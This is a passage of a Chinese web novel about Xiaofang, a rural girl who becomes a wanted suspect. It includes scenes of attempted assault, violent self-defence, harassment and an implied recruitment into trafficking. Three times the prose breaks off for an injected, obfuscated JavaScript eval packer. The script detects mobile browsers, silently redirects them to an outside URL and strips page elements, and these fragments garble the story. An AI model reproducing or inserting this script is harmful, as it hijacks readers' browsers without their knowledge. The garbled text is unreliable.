《村里有个姑娘她叫小芳》 1. 大雨 雨下得好大,千沟万壑都被冲刷着,在这片黄土地引起了大大小小几十起山体滑坡。 “老板,我要打个电话。” “五角!”这家楼上经营旅馆,楼下开杂货店的老板伸出五根手指头。 “喏。”小芳扯出五角钱给他。 老板眼睛直盯着电视主持人的灾情播报,接过钱时眼都没朝她望一下。 小芳撇了眼电视,冷笑一下,再大的灾情被这些新闻主持人念出来也不像什么大事了。 她走到柜台边,用座机拨了个电话,只希望线路别被这场天灾给切断了,她要向一个有恩于她的女人道别,这一别只能在电话里进行。 话筒里“滴”一声停顿了会儿,线路没断,就是没人来接,小芳越等越心灰。 就在她以为下一声回答她的将是温柔的“对不起”了,电话铃给人接起了。 中气十足的“喂!” “花姐,是我!”小芳不自觉地把手遮掩在嘴上,将音量控制在这个小范围里。 意识到自己这个动作后,小芳觉得这就是做贼心虚了,哪有那么快儿?再说还下着暴雨呢。 “小芳?”对面被她称作“花姐”的女人听出了是她。 “我要走了。”小芳说。 “你疯了?!”花姐还是那个暴脾气,“山体滑坡,死那么多人,你要走?!” “我必须走了。”小芳坚定又淡定地说道。 下大暴雨滑坡才好,最好是把孙家那座房子给冲埋了,那么她过去的恩怨就都一笔勾销了。 “哎,”花姐又理解地叹口气,“是不是想着趁乱走?但是到处都封路了,你怎么走?他们万一报警说你失踪了,卡哨的不就看到了?” 小芳贴着话筒,不自觉地轻笑一下,趁乱走?趁乱逃才对,还有花姐说的那两个男人永远不能开口报警了。 至于卡哨看到了叫住她,只会是为了另一桩事。 小芳望着老板为了防止雨水泛进店内,而在门口堆得半米高的沙袋,她自己也说不清,这场经年难得一遇的高原连日暴雨,是为了助她逃,还是阻她逃。 “姐,反正我要走了,时间急得很,我不能见你了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630264|172515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她不能见花姐也是为她好,不久后,等这场大雨给人造成的兵荒马乱被收拾完后,花姐会理解她的,因为那时候该被收拾清算的就是她了。 电话挂断,小芳朝楼梯口走。 老板把眼从电视机前移向她,“小姑娘你要走?” 小芳身体本能地警觉了,眼神也颇犀利。 “那么凶干嘛?”老板嗔怪道,“你要走,我又不拦你,只是问你两句,下那么大雨干嘛慌着走?嫌我房费贵啊?”他又嬉笑两下。 小芳没理他,兀自上楼了。 一个月后,当警察拿着一张告示找上她后,这位老板会为自己轻率的多嘴吓出身冷汗,因为他多管闲事的对象是正被警方通缉的犯罪嫌疑人“伍小芳”,手下被怀疑有三条人命,且是三名男性受害者,身高均超过一米八。 老板听完警察说后,摸一把脑门汗,一个单薄的女娃娃哪能徒手制服三个壮汉?当然是靠美人计了呗?他庆幸自己在她入住那几天没动歪心思,不然他也成了受害者之一了,虽然他那半截子身材离一米八还有不短距离。 2. 守门人 时间倒回近一年前,在伍家村的粮油铺,十八岁的小芳正和她妈道别。 她仔细凝视着母亲因操劳而过度衰老的脸,得到鼓励似的,更加坚决了南下打工,出人头地的决心,然后接她妈到城里过那种豆浆喝一碗倒一碗,鸡蛋自己吃一个再喂狗吃一个的奢侈生活! 农村妇女因常年日晒雨淋的劳作本就比城里女人老得快,而她妈又是寡妇,比周围的农村妇女又还要老得快些,衰老在她妈脸上起到的是双倍作用。 小芳爸老伍在她八岁时就两手一撒死了,死得没遭半点罪。 老伍和村里的人打牌喝酒到半夜,光着膀子吹了夜风,回来躺床上,第二天没醒来,第三天还是没有,小芳妈上前一摸,啧啧,死猪肉摸起来就是这种感觉。 如果词典里需要关于“醉生梦死”这一成语的解释,小芳觉得没有人会比她父亲更贴切。 老伍生前模样不错,这是他浑身上下唯一优点,就因为他的皮相,让小芳妈忽视了他家连土墙都要因失修而塌了的土房,彩礼是没有的,家里只剩下一头牛和两头猪。 猪喂得比人还瘦,牛更不得了,好久没跟着人干活了,连地怎么犁都要忘了,一切需要小芳妈这个刚嫁过去的新娘子从头教起,不过晚上看着丈夫那张俊脸,听着他油嘴滑舌的甜言蜜语也算值了。 老伍虽然懒还爱喝酒,但其他毛病是没有的,连村里男人动不动打老婆的祖传陋习都没继承,当然,或许是因家里重活累活都是小芳妈在干,那身肉论起力量来要比老伍沉实得多,谁打谁还不一定呢! 既然靠一张脸和一张嘴就能把女人治得服帖,何必动力气靠手呢?更何况在村里,为了爱老婆才怕老婆和打不赢老婆才怕老婆相较,前者要有面子、男人范儿得多! 两个人结婚两年后,有了小芳,按照政策只能生一个,生完后女的上环,男的结扎,二选其一。 农村人谁不求天告地想要个带把的? 但老伍很看得开,要是有个儿子像他这样混蛋,那么他日子不会好过,那就不是“养儿防老”了,而是“养老防儿”! 说不清是自私还是无私,老伍成了伍家村里第一个主动挨骟的男人。 是的,在伍家村,村民们把政府的这一行为称为“骟”,每天都有被计生人员押去骟了的男人女人。 村民们可不懂什么国之大计,他们只认为这是上面要对他们实施的断子绝孙酷刑。 上下五千年,你听过哪个哪朝哪代不让人痛痛快快生孩子了? 老伍是家里独子,他这种主动当太监的行为也代表着他主动把他伍家老祖宗们延续至今的单传香火给掐掉了。 面对村里人的嘲笑,老伍不在乎地笑笑说:“城里干bu都只生一个,你个庄稼汉还比干bu高贵?” 村里人说:“干bu的孩子又不种地!” “你看吧,以后啊,”老伍十分自信地说,“农村的人都要往城里跑,我老伍孩子是不会被耽搁在土地里的。” 村里人继续人身攻击他:“你们伍家的根就断在你这废物身上了!” 老伍占人便宜地说:“伍家村的娃都姓伍,你们生的儿子也就当给我生的了!” 村里人大骂道:“老伍,老子日|你奶奶!” 老伍说:“你去啊,我奶奶的坟就在村后面那座山的半山腰,坟两旁还种着两棵万年青,记得是右边那座,左边是我爷爷的,你们可别扒错坟了。” 面对村里人的不屑,老伍一点不往心里去,他过得可比这些人快活多了,为了生个儿子,这些人天天东躲西藏,找不到人,土房子都给村里的计生队给扒了,老伍看看自家那三间完好无损,还被老婆加修过的土房子,心里美极了。 老伍说对了,以后的农村孩子还真不像他们的祖辈那样,老实勤奋一辈子埋头在庄稼地里,大批大批的人进城务工,农村一天比一天空。 但老伍就像世上所有的先知那样,没有活到自己话语应验的那一天。 在农村,寡妇遭人惦记多不是假的。 在小芳九岁那年,母亲劳作了一天,她在床上搂着母亲热乎乎的身体睡觉,刚睡着不久,门外就有响动。 她警觉地起身到门缝里瞧,门外的月亮像医院的大白灯那样照下来,让她看清了在她家门前鬼鬼祟祟的男人是谁,她该喊这个人一声“三叔”。 十年前的这个夜晚,小芳第一次见识到了男人的丑陋,他们很会欺负无依无靠的女人,他们还认为没有男人倚仗的女人都该归他们所有。 男人就是能如此不要脸,突破人伦道德底线,请别怀疑。 刚开始,这个该称呼三叔的男人把门敲得还很腼腆,仿佛是一种邀请,不知道的,还会误会,这是他和小芳妈的暗号,在此之前两个人已经不害臊的有很多次了。 小芳从老伍留下的棉衣里扯出两团棉花,捂实了母亲的耳朵。 母亲白天干的活计重,鼾声完全把那腼腆的敲门声给盖住了。 叫三叔的男人敲门的力道也加重了,要盖过小芳妈的鼾声,随后他还尖声细气地学了两声村里看的电影里那种小白脸的叫声。 小芳踮起脚尖,把木头门所有能上的门栓全部上牢。 三叔听到里头动静,便晓得自己是遭拒了,于是也不腼腆了,他急切起来,先是手指头敲,然后是巴掌拍。 拍了会儿,他倒把自己拍累了,粗里粗气的喘息声,小芳在屋里都能听见。 门是两块薄木板,她妈天天在地里忙活,还没来得及弄两块厚实板子把门重新捯饬下。 就在刚刚混蛋三叔的拍打下,薄门板打着细弱的颤,像在跟小芳求救似的。 三叔休息了会儿,他已经看穿了这门板的窝囊,也不敲不拍了,干脆用整个身子来撞击这又薄又旧,起不到保家卫人,只能勉强当装饰的门。 门缝给他撞得老宽,九岁的小芳已经和这头发|情畜生屋里屋外的对视上了。 畜生的双眼也亮起畜生们饥饿时惯有的绿光,小芳想,要是让他进来了,他非得把自己妈生吞活剥了不可。 小芳眼神顺着他脸朝下望,他有一双大脚,大得像下一刻就要把他的旧布鞋给撑破,那么厚实铁打一样的两只脚掌,给了他稳定的下盘以支撑上身一次次有力强硬的撞击。 突然小芳眼睛给一团灰尘迷住了,揉了半天才睁开,灰尘还在陆陆续续地往下掉,她抬头一看,是老畜生动静太大,把镶着木门的土墙上的黄土给弄得纷纷扬扬泼下来。 她妈还没有醒,看来她爹那件旧棉袄的棉花质量不错,真厚实,也或者她妈是白天真累了,一个人干两个人的活,晚上好不容易得空休息下,明早天不亮还要起来下地,就这点安静,这闻着味来的老畜生都要来打扰。 小芳想移动堂屋里那张实木桌子,可是九岁的她,是个黄毛丫头,连头发丝都因常年少肉而蔫搭搭的,她火柴棍似的细胳膊腿推都推不动。 小芳朝堂屋内望了一圈,在西南墙角看见了熟悉的老朋友。 那是她爹老伍生前为了哄她开心做的一根木棍子,小芳四五岁时闹着要跟她妈山上,老伍怕女儿摔倒,特意比着小孩身高给她打的。 她爹老伍这人虽然懒,但心思多,会哄老婆开心,女儿更不赖,木头棍子给他雕出花来,小芳喜欢得不得了。 九岁的小芳这时想,她用这根棍子把老畜生给打出去,也算是他爹变相地保护了她们娘俩了。 小芳抄起那根木拐棍,顺着老畜生撞出的门缝往外捅,到底还小,角度把握得不太好,没有一击致命,捅到的地方离老畜生今晚想犯罪的作案工具偏差了点,捅到他xia腹去了。 老畜生嘴里发出畜生受伤时特有的嚎叫,小芳得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630265|172515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意了,这些人不是以前老骂她爹老伍是孬种吗?她今晚就要让他们领教领教,老伍的下的种是不是真孬? 可很快,老畜生又振作了,九岁的孩子还是个小丫头,力气能大到哪里去? 农村男人越老越皮糙肉厚,四十多岁又有辈分在的老男人,发了情得不到发泄还给毛都没长齐的小孩子差点给一窝端了,更是不要命地撞起来了! 已经不再是单纯为了找寡妇发泄了,而是挽回尊严! 老畜生越撞越来劲儿,浑身上下零部件都用上了:头、胸、垮、脊背轮着来。 这个撞累了,那个上,这些部位都是常年在田垄上劳作长出来的结实肌肉,把这两块烧火都不够烧一桌饭的木板撞开,只是时间问题。 门仿佛先一步遭到侵|犯似的呻|吟起来。 幸好没用脚,小芳想,这门可经不住踹。 但还有杀手锏,她不慌不忙地走进平日放耕具的杂物房,角落放着一个小锄头,那也是她爹老伍比着她量身打造的。 她拎着小锄头走到门处,老畜生没看见是把锄头,便对她轻蔑一笑,嘲讽地表示着,“这棍子还没刚才那根长,你够用?” 小芳冷静地蹲下,看着因门缝大小而照进来的时宽时窄的月光,她在等! 终于等月光完全照进来时,她对着冲进来的人影抡起来她爹给她打造的小锄头。 锄尖锋利,用它刨地挖根就跟拿刀捅人一样好使,小芳用它锄断了老畜生支撑上半身的根,就先她曾经用它掘树根那样。 眼前不再是白色的月光了,月光已经变成了红色,她抬眼看,今晚的月亮又大又圆,她听爹说过,有这种月亮的时候,在农村千万不要跑出去,否则会遇上对着月亮嚎叫变成人的狼。 小芳没听过狼叫是怎么叫的,但她觉得此刻老畜生三叔的惨叫倒是很中听,失去了右脚掌四分之一的他,再不能像刚才那样站得挺立、高高在上了,他整个的跌坐在地,惊恐地看着染了他一脸血的九岁的小芳。 歹竹出好笋,他没想到窝里窝囊的孬种老伍,有个这样的没种却胜有种的女儿,下到村子里那班演戏的怎么说的,对对对,叫“巾帼不让须眉”! 老畜生以为今晚只要他拿出命来和这黄毛丫头拼,从此以后这个没有男人的家,他想怎么样就怎么样,这里头的大女人他想怎么玩就怎么玩,连带着这个小的,只要时机成熟,也该由他来摘果子。 结果,他把自己的命拿出来拼,小丫头更不客气地要收他的命。 小芳轻巧地站起来,拿着她的小锄头,朝老畜生脖子处比划了两下,然后很有气势的把头朝门外甩了甩,这是她从电影里学来的,每次放到,“放你一条狗命时”,荧幕里的演员就会把这个动作很帅地做出来。 借着月光,看着老畜生用一只好脚,一只残脚踉跄而逃背影,小芳心里想,她刚才的甩头应该做得比电影里的演员要更有型一点。 毕竟电影里主角对反派造成的伤害是唬观众的,自己是真刀真枪达到伤害效果的。 外头不知谁家的鸡先叫了起来,它打了头阵,很快村里人养的鸡,树上歇的鸟全跟着叫成一片,跟革命电影里吹的胜利号角似的。 她家和院子里都一片太平,这一晚就像做了一个很戏剧化的梦,结尾很符合主旋律,邪恶终究打不过正义! 小芳走到屋外地院子里,拿小锄头刨了几捧黄土,洒在堂屋地上那大块小块的,已黯淡了的血迹上。 她不打算把今晚发生的事告诉她妈,反正门已经坏了,不用她说,她妈也能大致猜到发生过什么! 经过一晚上体力与精神的高度作战,小芳困意来袭,钻到她妈的被窝里睡着了,第二天,她醒来已经是大下午了。爬起来看,桌上留着饭,堂屋的门上结实了,比她侧过身还厚的两块的木板,看来今晚是用不上她做守门人了。 3. 少女的梦想 日子眨眼过去,九岁的儿童小芳出落成十八岁的少女小芳了。 村里人望着俊俏的小芳都说:“这老五的脸模子套到他女娃身上,倒比长在他脸上更受看!” 十八岁的小芳是整个伍家村,八十多户人家里最美丽的,应了歌里唱的那样,“一双美丽的大眼睛,辫子粗又长。”。 小芳那双大眼睛亮得逼人,瞧着谁都像要对他放电,看你看久了,直烧得你头顶冒烟! 她那常年扎成两股的麻花辫,发质不用说,亮得像抹了猪油,只能这样形容,因为伍家村还不像城里女人那样已经用上了美发精油。 小芳的辫子跟她人一样泼辣,扎得很紧,紧得两条发辫上长短不一的头发中途叉出来,像狼牙棒那样杀气腾腾的。 这样的小芳走在村里,男人谁都想瞧,又不敢瞧得太仔细,否则伍三叔那双脚会让他们警醒。 对着她像对着村里其他女人那样说两句不太雅的粗话更不敢想,小芳会在嘴里酝酿、提炼她浓度颇厚的口水,然后啐你一脸,那准头,不论你脸朝那边躲,都是避不了的。 小芳此刻就走在村里的黄土地上,路两旁是挨着跟她打招呼的老乡们,女人们很热切,男人更热切。 只有打招呼是为数不多的,男人唤她,她会回应的方式,小芳人虽然有股辛辣劲,但绝不没教养,只要对方人规矩,她不会吝啬露出嘴里那口洁白整齐的牙齿,那是她每天早起、睡觉精心打理的部位。 现在她要去村里的粮油铺买酱油,老板是伍老舅,长辈,人却没半点长辈做派。 小芳十一岁时,是还没长成大美人的小美人,那次她要买袋盐和白糖,把钱递上的同时,伍老舅借着关心的名义,做了下|流的动作,他狠狠地摸了把小芳和人一样美的手。 小芳心下明白,这老不死的老婆这时都在里面做饭,只要她哭一声,他壮实凶悍的老婆立马会掀开布帘子出来。 小芳刚把眼泪汇聚起,准备嚎,伍老舅先一步地叫停她。 “不要你钱,不要你钱,拿去拿去!” 那时的伍老舅还不知道伍三叔缺了一截的蹄子就是被面前这嫩娃娃给掘下来的,他以为十一岁的小芳跟村里同龄的女孩一样漂亮但不中用。 小芳接过钱也接过盐和糖,眼泪跟自动地似的收了回去,连滴出来她都嫌浪费。 她指着伍老舅柜台处一个油纸包装着浸出猪油的包裹说:“我要那个,你看着给,能让我和我妈尝尝味!” 伍老舅怒了,羊肉没吃到,摸了一下就惹得一身骚,他不干不净地小声骂道:“小骚货,赶紧滚!” 刚刚那眼泪又要出来了,伍老舅嫌烦地包了两块,只够尝个味道,把人的馋瘾逗出来的量。 小芳接过来见好就收,从此以后伍老舅再不敢对她使坏心思。 村里人不知从哪里听来了伍三叔那一截脚掌是怎么断掉的事,到伍老舅铺里买东西时,讲给他听。 伍老舅吓得后背发汗,还好那时是在店里,这小丫头跟头母狼似的。 今天伍老舅这里可热闹了,说是他前几年南下进厂打工的小儿子回来了,带着南边来的媳妇儿还有丈母娘! 小芳把钱放在柜台上,故意没什么表情地说:“打酱油,跟以前一样。” 小芳故意不做表情,是因为她发现冷脸的自己要比热脸的自己更美三分。 这不是虚话,这是她一次又一次脸又笑又臭地对着家里镜子比照出来的,还好没人看见,当时她都觉得自己是个神经病! “小芳来了啊!”先叫她的是今天粮油铺里的男主人公,伍老舅的小儿子伍小三,那时的小三儿在农村还没有当今这样不雅的意思。 小芳早时听村里人说起过,伍老舅的小儿子去上海一年,就给家里新修了一栋楼,花了多少钱,具体的小芳不知道,但少说也有四位数。 “干啥挣的那么多钱?”她问那个人,她和她妈一年的生活开销还够不着一千! “说是流水线!”那个人也搞不懂,流水线是什么线,不然非好好在穷老乡们面前卖弄一下。 “流水线是什么线?”小芳问。 “哎呀,反正不是你缝衣服用的那种线,”她夸张语气,给自己的话增加可信度,“伍老舅说他小儿子在那边,一天十六个钟头,中间抽半个钟头去吃饭,一个钟头就是十八块!” 十八块?!小芳吓了一跳,一个钟头十八块,两双手还不够,要把十只脚趾头都用上,才能把钱比得出来! 但小芳不想在人前露出没见识的模样,毕竟她是村里最漂亮的女孩,她是很骄傲的,一惊一乍的做什么? 小芳清了清喉咙,把惊讶和艳羡压下去,拿出平淡语气说:“要是再多两块就好了,二十根手指脚趾刚好凑足!” 其实干一个钟头哪有十八块那么多?伍老舅的小儿子干一个钟头只有十四块,多出来的四块,不过是这些传话的人一层一层吹牛吹膨胀起来,多给小三儿加的工资。 小芳矜持着看了伍小三儿一眼,不一样了,进了城,还进了上海城的人就是不一样,那股土味已经完全褪去了,如果小三儿当年是顶着今天这副形象追求她的话,她心里想,自己应该不会拒绝吧? “打酱油!”小芳笑了笑。 她又看了眼小三儿身边穿得比他更惹眼的女人,男人的衣服穿来穿去也就那几样把式,女人就不同了,不说款式,光颜色就五花八门! 小三儿的南方女友,白脸皮长卷发,脸其实一般,但胜在气质加分。 上身是一件白短袖,那种白一看就不是农村来的,农村人丧葬戴的白布孝帕子也白不成这样! 下|身一条黑底白点长裙,长得刚刚好,能把脚踝露出来,再往下是戴跟的黑凉鞋,这一身拍张相片弄在日历上,那就是县城里赶集卖的海报女郎了! 小三儿又给城里的女朋友介绍了下小芳,小三儿也不知是没脑子还是故意的,嬉皮笑脸地说:“这是小芳,我们村,不!”他强调了下,“我们镇最漂亮的女孩!” 大概那时的城里人对乡下人多少是有点瞧不上的,小芳和小三儿女友各自的姿|势又耐人寻味。 小三儿的女友女主人般坐着,而小芳是站着的,坐着的那个倒更像高高在上。 小芳敏觉到自己处于劣势,她又动作了下,把半边身体斜靠在伍家粮油铺的柜台上,这下形势转变了,她占上风。 就在两个女人无声的猛烈较劲氛围里,小三儿的丈母娘跳出来讲和了。 “哎呀,没想到你们这山旮旯还能养出这样标致一个女娃娃!” 那声音怎么说?像影视剧刻板印象里的青楼老鸨,但那时全国还没流行古装影视剧,所以也找不出来相近人物来形容。 在不久后,小芳会知道另一种关于这中年女人声音的描述词,那个词在全国听着令人闻风丧胆,但那是后话了。 小芳得到了城里人的肯定,心里很高兴,但表面却不露声色,被人夸好看于她是家常便饭,她不想让这铺里的人认为自己是个碰见城里人就摇头甩尾的廉价乡下女孩。 她觉得自己有一项重大责任,在伍家村所有人都对着这一大一小俩城里人讨好卖巧的时候,她有必要捍卫伍家村最后的颜面。 “小三儿!”小三儿的丈母娘叫道,“这屋子头的人你都介绍了,不介绍介绍人家姑娘?” 说完她亲热地走过去挽上了小芳的手臂。 如果是城里人面对这样一个出自见面就挽手搭肩的女人,本能反应就是后退三步。 但小芳是乡下人,她只觉得这胖女人还算不错,至少没有用城里人看乡下人人那种鼻孔放眉中间的高傲来对待她。 “妈,”小三儿和他女朋友还没办酒席,但改口改得很快,“这是伍小芳,村里都叫小芳,我们村最漂亮的女孩子,也最聪明,嘶......” 他倒吸了口凉气,这是未婚妻在人后给他的警告,晚上回去衣服一脱,小三儿就会发现,那处已经青紫了,至少半个月才能消下去。 “可惜了!”他丈母娘莫名巧妙来一句。 “可惜什么?”小三儿摸不着头脑问。 “这副模样,这副身板子,放在这穷山沟沟里,不是可惜了?” 小三儿是又高兴又不高兴,高兴是好歹自己当年是喜欢过小芳的,虽然没结果,但小芳今天没给自己丢份,还让城里来的,对自己老家横看竖看不顺眼的女友吃了顿飞醋。 不高兴是,当着那么多人,丈母娘一点面子不留,穷是穷,穷怎么了?当初红军长征还从伍家村走过呢,红军里面哪个不穷?这才解放多久?旧社会的毛病又来了! 小三儿没说话,他敢怒不敢言,为了小芳得罪丈母娘顶不划算,再说了得罪了,小芳也不见得会跟自己走! 小三儿丈母娘说的话,也在心里刺痛了小芳,她不是没想过自己活在城里会是个什么模样,但她想象不出,活了快要十八年了,她去过最远的地方还是县城,但县城也就去过那么几次。 更多还是到镇上,到镇上还不是玩,是为了赶集买东西。 她十岁就跟着她妈去镇上赶集卖东西,去了几次后,摸熟了,小芳就独自去了,因为她发现单枪匹马更方便! 鸡蛋、花椒、海椒、红糖,只要是能卖钱的,她又拿得走的全装背篼里,菜这些她就不卖了,一个背篼的菜卖完了还不够来回两趟路费。 当然聪明的小芳从来没花过路费,村里去镇上虽然远,但路上车多,没有她伍小芳拦不下来的车,久了,多搭过几次的司机认出她来了,还会主动停下来让小芳上车。 长得抻敨能得到的好处,小芳是早早的就尝到滋味了。 而且小芳不势利,有什么车她坐什么车,大小货车、皮卡车、拖拉机、自行车、牛拉的马拉的甚至人拉的板板车,她都一概不拒,从不因为路上看见了更好的车了就中途换车,从这点就能看出小芳是个知足的好女子。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630266|172515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她不仅不挑剔,嘴还甜,遇到蹬自行车的,搭着她蹬不动了,小芳就会说:“来,我们换,我来搭你!” 对方反而更有劲了,这时如果背篼里有个柑子什么的,小芳就顺手拿一个剥开,递一瓣给对方解渴。 细嫩一双小白手不厌其烦地把一瓣瓣柑子递来送到你嘴边,男人还会觉得自己吃亏吗?简直眼福既饱,口福也不落! 出了力气,流了汗水,累得像狗喘气算什么?没有小芳,谁给他们能驮美女的机会?况且农村干啥活不累? 有次遇上个年纪大的,骑辆摩托车,他把车改装得像日本鬼子侵华时那种插一面“膏药旗”的绿侉子车,不过颜色漆成了红的。 那是第一次小芳搭车被拒,那男人不太坚定地拒绝了,“咋个能搭你?我的东西都不够放!” “大哥,行行好,这背篼里的东西是我卖了,下个月好交学校伙食费!” 一把岁数的男人就被小芳这几声水灵灵的“大哥”给瓦解了,这年头哪还有十五六的姑娘愿意这样甜甜地叫他一声大哥?只有村里的男人才愿意粗剌剌“大哥”“大哥”地叫。 每次小芳看完村里看完露天电影都不无遗憾地想,她要是投身在城里,拌嘴、嘴甜的对象就不是这些杂乱不一的男人们了,会是那些穿着齐整校服的男学生女学生。 小芳十五岁初中毕业就不上学了,高中没考上,学校家里两头忙,她的脑子没她的嘴那么精明灵巧,考试是用手不是用嘴,不会就是不会。 她听人说,城里孩子上高中比农村里的娃儿容易多了,就恨恨地想,都是故意的,故意不让她们这些穷十八辈子的农村人走出大山! 伍老舅看亲家言语里看不起伍家村的意思,心也不平了,他到底是村里最富的人家,他都闷烟熄火了,谁还敢拿话出来说?而且伍老舅自认为和亲家是平辈! “是可惜了,”伍老舅顺着亲家话说,“但有什么办法?亲家你还能把她带出去?!” “带走就带走!”小三儿的丈母娘一点也不怵他,她豪迈地朝周围一望,大声道,“还有哪家的姑娘要我带走?那边那么多工厂,那么多条流水线,坐不下你们这儿山卡卡头的几十个年轻姑娘?” 她的话平地起声雷,全砸进人们耳朵里了,伍家粮油铺里现在坐着的,没坐着的,早有想托小三儿寻门路,帮忙把自家孩子带出去挣那一个钟头十八块的流水线。 他们听小三儿丈母娘这样一说,立马燥起来,“他亲家,”有人壮起胆子问了,“这出去,一个钟头真有那十八来挣?” 小三儿丈母娘吊梢眉猛地往上一提,像有人给她扯了一下,“那就要看你干什么了,十四五一个小时的有,贵的二十也有!” 又有人问:“那干啥才能干二十块钱一个钟头的?” 她摆摆手,皱眉说:“挣那钱干啥?那些厂老板一个比一个不是东西,给你开的钱越高,你死得越早,去挖煤矿一百一天,我就没见过哪个煤老板手头没人命的,人死了,你们这些当爹当妈的煤老板尸|体都见不到!” “那么黑心?!”大家都被吓了一跳,原来城里人不仅比他们农村人排场大,连心都要黑一点。 小三儿的丈母娘眉毛又跳动起来,“不黑心怎么去挖黑煤矿呢?” 小芳盯着她的那两根说不清是黑还是棕的眉毛,盯得入迷了,整整齐齐的,就跟拿着模板印上去一样。 她知道有眉笔这种笔,可以把女人的眉毛修饰一下,但什么样的眉笔和手艺能把一双眉毛弄得这样有型? 她不知道那叫纹眉,城里女人现在都时兴这个。 城里的世界有太多她不知道的,小芳恨自己在这烂漕污的山沟沟里,活得脱节,活得像个野人! 小三儿丈母娘又说:“干流水线又能有什么出息?你以为进了城里的女人是靠干流水线干富的?真的富的都是靠认识本地人,嫁人了留在那边富的,干流水线?”她像讲到垃圾般不屑,“干得肺烂穿孔的多得是,挣的还不够拿去治病!” 不,小芳心里想城里的水土就是再不干净,也要比伍家村这里干净的水土好,呆在这里,这辈子是一点念头也没有了,一切都是明明白白的,就跟安排好了一样,每代人都重复着上一代人的步子走,想走偏都不行,出路只有离开这里。 肺烂穿孔又怎么样?人活一辈子谁不死的?小芳浪漫地想,生命最重要的是活得好而不是拖得长! 至于小三儿城里来的丈母娘说的什么嫁人,小芳想,她才不要刚踏上城里那片热土就忙慌火气地把自己交代出去,再怎么也要在流水线上给自己挣一份嫁妆,没嫁妆的女人,男人是不会尊重她们的。 粮油铺里后面说了些什么,小芳没听进去了,好像是小三儿丈母娘刚才一番对流水线瞧不起的态度惹得小三儿和她自己女儿穗穗都很不高兴,但那和小芳有什么关系呢? 她提着打好的酱油回去,只求明天一早醒来人就坐在南边沿海城市的流水线上。 4. 娟姨 小芳第二天醒来,当然不是在沿海厂里的流水线上,睁眼是她家的塑料布屋顶,那是屋顶以前老掉些虫子什么的下来,她和她妈花了一个星期搭的。 这种塑料袋的颜色,至今仍然有,红蓝白的条纹,是火车站乡下人进城务工的最实用行李袋,质地轻还结实又便宜,当然也够土气,拎着这种行李袋,不用开口,就向别人展示你的身份阶级了。 但小芳不在乎,只要能离开伍家村,被当做乡下人被人看不起又怎样? 城里人又不是一开始就是城里的,她可以做她家第一代城里人,她不怕吃苦,不怕受累,只要能趁着年轻奋斗,她可以让自己以后的子孙后代全做城里人! 小芳躺在床上,怎么也不愿意起来,泪汪汪地恼火,小三儿的城里来的女朋友哪样比她好?就除了投胎投得好,但只凭这一点就能抹杀她近十八年的努力。 她悲哀地想,自己甚至从来没做过一个有关进城的梦,她最远只到过县城里,没见过的东西,她在梦里也梦不出来,这世界真残忍,连给她一个梦都都吝啬! “小芳!小芳!”在门外喊她的是她妈。 “妈。”小芳恹恹应了声。 “快出来,你娟姨来看你了!” 娟姨是哪个姨?小芳脑子里想半天也没搜罗出这个人的轮廓来。 她麻利地把衣裳穿好,随便抓了两把头发,现在就是编成辫子她也没心情了,弄那么光洁齐整干嘛?伍家村这地方,越是美的东西,放在这穷乡僻壤越是糟蹋! 小芳披散着头发出来了,她妈已经准备要去下地干活了,一个堂屋就只留她和来的女人。 她妈嘴里那个“娟姨”,“喔唷!”地叫一声。 原来这个娟姨就是昨天小三儿的丈母娘,她还是以为是哪个没印象的亲戚。 “姨!”小芳对她有点好感,就冲昨天她没仗着城里人身份对自己仰脖子出气。 小芳有点懊恼了,怎么能顶着这幅形容出来见人呢?她不是城里人她也知道,收拾干净出来见人是最基本的礼貌。 但小芳到底是落后了,她在伍家村养成的审美在城里至少落后十年,那种扎得勒头皮的辫子在城里女孩看来土得要命,而且年纪一大,发际线全拽上去了。 而她此刻自认为在娟姨面前的邋遢形容反倒很有点风情,原本顺直的长发被固定久了的辫子弄成曲里拐弯,幅度很小的波浪卷,不像小三儿女朋友那样,卷得大开大合。 小芳一张洁净的小巴掌脸就藏在这头蓬松的头发里,像极了迪士尼动画里的小美人鱼。 娟姨上手把她的笑脸从头发里捧出来看,小心翼翼的,像捧易碎品那样,那怜惜劲儿,小芳自己亲妈都不曾给过。 娟姨仔细地打量她,仔细得近乎贪婪,黑葡萄似的眼睛,缀着薄薄的双眼皮,细挺的小翘鼻,往下就是粉红小嘴了。 这样一张脸,你放全国任何一个省份都是通用的美貌女郎模板。 但小芳那时还不懂,娟姨死盯着她的俏脸蛋,心里想的却是这张脸能换来的东西,而且她的脸远比娟姨手里送出去的其他女孩能换来更多。 “想不想跟着姨去广州?”终于在小芳脸都被她捧得发烫后,娟姨放手了。 